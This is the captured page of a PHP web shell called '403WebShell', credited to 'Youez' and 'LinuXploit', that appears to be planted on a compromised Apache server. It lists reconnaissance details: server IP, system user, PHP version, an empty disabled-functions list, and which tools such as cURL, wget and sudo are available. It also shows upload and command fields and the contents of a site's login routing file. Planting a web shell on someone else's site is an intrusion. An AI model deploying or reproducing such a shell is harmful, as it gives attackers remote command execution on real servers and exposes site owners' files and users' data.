Warning: Trying to access array offset on null in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2

Deprecated: md5(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/alexvillarreal/wp-content/mu-plugins/index.php on line 2
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.233
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/system/aura/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/system/aura/login_routes.php
<?php
/**
 *APP Routes Map
 **/

 /*/////////Routs//////////////*/
 //Home Route

$router->add('login', '/')
        ->setValues([
            'controller' => 'login',
            'action'    => 'login',
            'id'        => null,
            ]);

$router->add('register', '/registro')
    ->addValues(array(
        'controller' => 'login',
        'site'      => null,
        'action' => 'registro',
        'id'    => null,
    ));

$router->add('forgot', '/olvidaste')
    ->addValues(array(
        'controller' => 'login',
        'site'      => null,
        'action' => 'forgot',
        'id'    => null,
    ));    
//Route for static pages
$router->add('page', '{/id}')
    ->addValues(array(
        'controller' => 'login',
        'action' => 'login',
        'id' => null,
    ));

$path = parse_url($_SERVER["REQUEST_URI"], PHP_URL_PATH);
$path = str_replace('/admin', '', $path);
//echo $path;//DEBUG

//Get the route based on the path and server
$route = $router->match($path, $_SERVER);


//var_dump($route);//DEBUG
if ($route) {
    $params = $route->params;
    $params['post'] = $_POST;
    $params['query'] = $_GET;
    $params['server'] = $_SERVER;
    //$dispatcher($params);
    //var_dump($dispatcher);
    //var_dump($params);
    //print_r($result);
}
else{
    $params = ([
        'controller' => 'notfound',
        'action'    => 'index'
        ]);   
}

//Initialize Dispatcher Classes
$dispatcher->setObject('login', new ControllerLogin($registry,$params));
$dispatcher->setObject('notfound', new ControllerNotFound($registry));

Youez - 2016 - github.com/yon3zu
LinuXploit